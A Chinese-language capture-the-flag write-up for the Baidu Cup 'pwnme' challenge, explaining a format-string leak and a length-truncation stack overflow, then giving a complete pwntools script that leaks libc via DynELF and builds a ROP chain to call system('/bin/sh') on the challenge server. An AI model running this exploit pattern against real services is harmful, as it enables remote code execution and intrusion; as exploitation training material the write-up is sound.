十一月百度杯pwnme 详细wp
程序基本信息

可以看到开启了栈不可执行和got表不可写保护。
程序溢出点

在函数sub_400AF7中,v8可以读入0x12C个字节,同时if判断中对v8进行字节截断,所以我们可以输入如0x101个字符,在保证能够溢出到返回地址的同时,v8字节截断后的0x01又能够通过if判断,然后通过函数sub_400A90进行溢出。

函数sub_400AD1中存在格式化字符串漏洞,我们可以通过这个漏洞泄露任意地址的内容,并通过DynELF类获得system函数的地址。
整体思路
这个程序首先让你输入username跟password,然后提供三个选项

溢出漏洞位于选项2中,格式化漏洞在选项1中。
我们在输入完username和password后,首先进入选项2中,然后构造合适的payload,然后让程序调用选项1能够泄露任意地址的内容,从而可以通过DynELF类获取sytem地址。
然后让程序进入选项2中,构造能够溢出并绕过if的payload,通过ROP技术调用read函数输入/bin/sh并调用sytem函数完成system('/bin/sh')pwn掉程序。
exp脚本
from pwn import *
io = remote('106.75.2.53',10006)
io.recvuntil('Input your username(max lenth:40): \n')
io.sendline('asd') #输入username
io.recvuntil('Input your password(max lenth:40): \n')
io.sendline('1') #输入password
def leak(addr):
io.recvuntil('>')
io.sendline('2')
io.recvuntil('please input new username(max lenth:20): \n')
io.sendline('BBBBB') #输入任意大于0小于0x20个字符
io.recvuntil('please input new password(max lenth:20): \n')
payload1 = '%12$s' #64位前六个参数用寄存器传参,6个以后用栈传参,需要泄露内容
#的地址在rsp下6位处,所以printf取第(6+7)个参数
payload1 += 'aaaaaaa' #padding #使地址处在第13个参数处
payload1 += p64(addr)
io.send(payload1)
io.recvuntil('>')
io.sendline('1')
content = io.recvuntil('aaaaaaa') #读取对应地址泄露的内容
# log.info("%#x -> %s" %(addr, (content or '').encode('hex')))
if len(content) == 13: #前面5个B,并且在栈中以0x0A结尾,也就是6个字节,后面7个a,
#一共13个字节,说明没有内容泄露
return '\x00'
else:
return content[6:-7] #返回泄露的内容
d = DynELF(leak,elf = ELF('./pwnme'))
system_addr = d.lookup('system','libc') #获取system函数在内存中的位置
log.info('system_addr:%#x' % system_addr)
io.recvuntil('>')
io.sendline('2')
io.recvuntil('please input new username(max lenth:20): \n')
io.sendline('A') #输入任意大于0小于0x20个字符
io.recvuntil('please input new password(max lenth:20): \n')
pop_rdi_addr = 0x400ed3 #pop rdi;ret
pop_5_addr = 0x400ecb #pop rbp;pop r12;pop r13;pop r14;pop r15;ret
read_got = 0x601FC8 #read函数got表地址
bin_sh_addr = 0x602010 #/bin/sh写入地址,在bss段中
mov_3_addr = 0x400EB0 #mov rdx,r13;mov rsi,r14;mov edi,r15d; call qword ptr [r12 + rbx*8];add rbx,1;
cmp rbx,rbp;jnz short loc_400eb0
payload = ''
payload +='A' * 0x28 #padding 0x20个字节到栈底,加8溢出程序
payload += p64(pop_5_addr)
payload += p64(0x1) # rbp = 1,由于在mov_3_addr代码段有命令cmp rbx,rbp,jnz short loc_400eb0;rbx为0并且执行了add rbx,1指令,所以将rbp置1防止程序跳转发生错误
payload += p64(read_got) # r12 = read函数got表地址
payload += p64(0x8) #r13 = 0x8
payload += p64(bin_sh_addr) #r14 = /bin/sh地址
payload += p64(0) #r15 = 0
payload += p64(mov_3_addr) #rdx = 0x8,rsi = /bin/sh地址,edi = 0,这段代码相当于read(0,/bin/sh地址,0x8)
payload += p64(0x8) * 7 #运行完mov_3_addr指令后接下来有add rsp,8和6个pop才到ret,用7个p64(0x8)滑过这段代码到ret
payload += p64(pop_rdi_addr)
payload += p64(bin_sh_addr) #rdi = /bin/sh地址
payload += p64(system_addr) #system('bin/sh')
payload = payload.ljust(0x101,'A') #填充到0x101个字节绕过if
io.sendline(payload)
io.sendline('/bin/sh\x00') #输入/bin/sh
io.sendline('cat flag') #由于交互一会就会中断,所以直接发送命令获得flag
io.interactive()
成功获得flag

参考
十一月百度杯pwnme 详细wp的更多相关文章
- 2017 百度杯丶二月场第一周WP
1.祸起北荒 题目: 亿万年前 天子之子华夜,被父神之神末渊上神告知六荒十海之北荒西二旗即将发生一场"百度杯"的诸神之战 他作为天族的太子必须参与到此次诸神之战定六荒十海 华夜临危 ...
- “百度杯”CTF比赛 十二月场_blog(kindeditor编辑器遍历,insert注入,文件包含)
题目在i春秋的ctf训练营中能找到 首先先是一个用户登录与注册界面,一般有注册界面的都是要先让你注册一波,然后找惊喜的 那我就顺着他的意思去注册一个号 注册了一个123用户登录进来看到有个文本编辑器, ...
- ctf百度杯十二月场what_the_fuck(一口盐汽水提供的答案)
目录 漏洞利用原理 具体利用步骤 漏洞利用原理 read(, &s, 0x20uLL); if ( strstr(&s, "%p") || strstr(& ...
- “百度杯”CTF比赛 2017 二月场(Misc Web)
爆破-1: 打开链接,是502 我直接在后面加个变量传参数:?a=1 出了一段代码 var_dump()函数中,用了$$a,可能用了超全局变量GLOBALS 给hello参数传个GLOBALS 得到f ...
- [i春秋]“百度杯”CTF比赛 十月场-Hash
前言 涉及知识点:反序列化.代码执行.命令执行 题目来自:i春秋 hash 如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用 或者利用本文章提供的源码自主复现 [i春秋]"百 ...
- "百度杯"CTF比赛 十月场——EXEC
"百度杯"CTF比赛 十月场--EXEC 进入网站页面 查看源码 发现了vim,可能是vim泄露,于是在url地址输入了http://21b854b211034489a4ee1cb ...
- 百度杯 十一月 的一道pwn题复现
拿到题后,就直接开鲁.. /ctf/pwn# checksec pwnme [*] '/ctf/pwn/pwnme' Arch: amd64--little RELRO: Full RELRO Sta ...
- “百度杯”CTF比赛 十一月场(Misc)
签到题: 题目提示: 文件在i春秋的ctf2群里,加群下载文件 下载下来之后发现有压缩密码 题目提示有提示解压密码:key:ichunqiumemeda 打开文件,得到flag 签到题2: 点击下载附 ...
- “百度杯”CTF比赛 十一月场--CrackMe01
测试文件:https://static2.ichunqiu.com/icq/resources/fileupload/CTF/BSRC/BSRC-11-3/CrackMe01_97D2BF0DBD2E ...
随机推荐
- PX4/Pixhawk uORB
PX4/Pixhawk的软件体系结构主要被分为四个层次 应用程序的API:这个接口提供给应用程序开发人员,此API旨在尽可能的精简.扁平及隐藏其复杂性 应用程序框架:这是为操作基础飞行控制的默认程序集 ...
- python txt文件读写(追加、覆盖)
(1)在lucky.txt中新增内容(覆盖:每次运行都会重新写入内容) f = "lucky.txt" a =8 with open(f,"w") as fil ...
- Android笔记(二十五) ListView的缓存机制与BaseAdapter
之前接触了ListView和Adapter,Adapter将数据源和View连接起来,实际应用中,我们要显示的数据往往有很多,而屏幕只有那么大,系统只能屏幕所能显示的内容,当我们滑动屏幕,会将旧的内容 ...
- Hadoop读写mysql
需求 两张表,一张click表记录某广告某一天的点击量,另一张total_click表记录某广告的总点击量 建表 CREATE TABLE `click` ( `id` ) NOT NULL AUTO ...
- 每日一题-——LeetCode(807)保持城市天际线
题目描述: 在二维数组grid中,grid[i][j]代表位于某处的建筑物的高度. 我们被允许增加任何数量(不同建筑物的数量可能不同)的建筑物的高度. 高度 0 也被认为是建筑物.最后,从新数组的所有 ...
- 程序员修仙之路--优雅快速的统计千万级别uv
菜菜,咱们网站现在有多少PV和UV了? Y总,咱们没有统计pv和uv的系统,预估大约有一千万uv吧 写一个统计uv和pv的系统吧 网上有现成的,直接接入一个不行吗? 别人的不太放心,毕竟自己写的,自己 ...
- DOORS 和Reqtify — 需求管理和需求追溯工具
IBM Rational DOORS 可实现对整个产品的全生命周期需求管理,覆盖从需求.到设计以及测试阶段.是一款具有广泛使用的企业级专业需求管理工具.DOORS 可以将项目开发过程中产生的各级需求和 ...
- k8s的核心对象
一.Deployment的概念 K8S本身并不提供网络的功能,所以需要借助第三方网络插件进行部署K8S中的网络,以打通各个节点中容器的互通. POD,是K8S中的一个逻辑概念,K8S管理的是POD,一 ...
- Mybatis面向接口式编程
Mybatis面向接口编程 1.xml文件书写格式 <?xml version="1.0" encoding="UTF-8" ?> <!DOC ...
- Python通过yagmail和smtplib模块发送简单邮件
SMTP是发送邮件的协议,Python内置对SMTP的支持,可以发送纯文本邮件.HTML邮件以及带附件的邮件.python发邮件需要掌握两个模块的用法,smtplib和email,这俩模块是pytho ...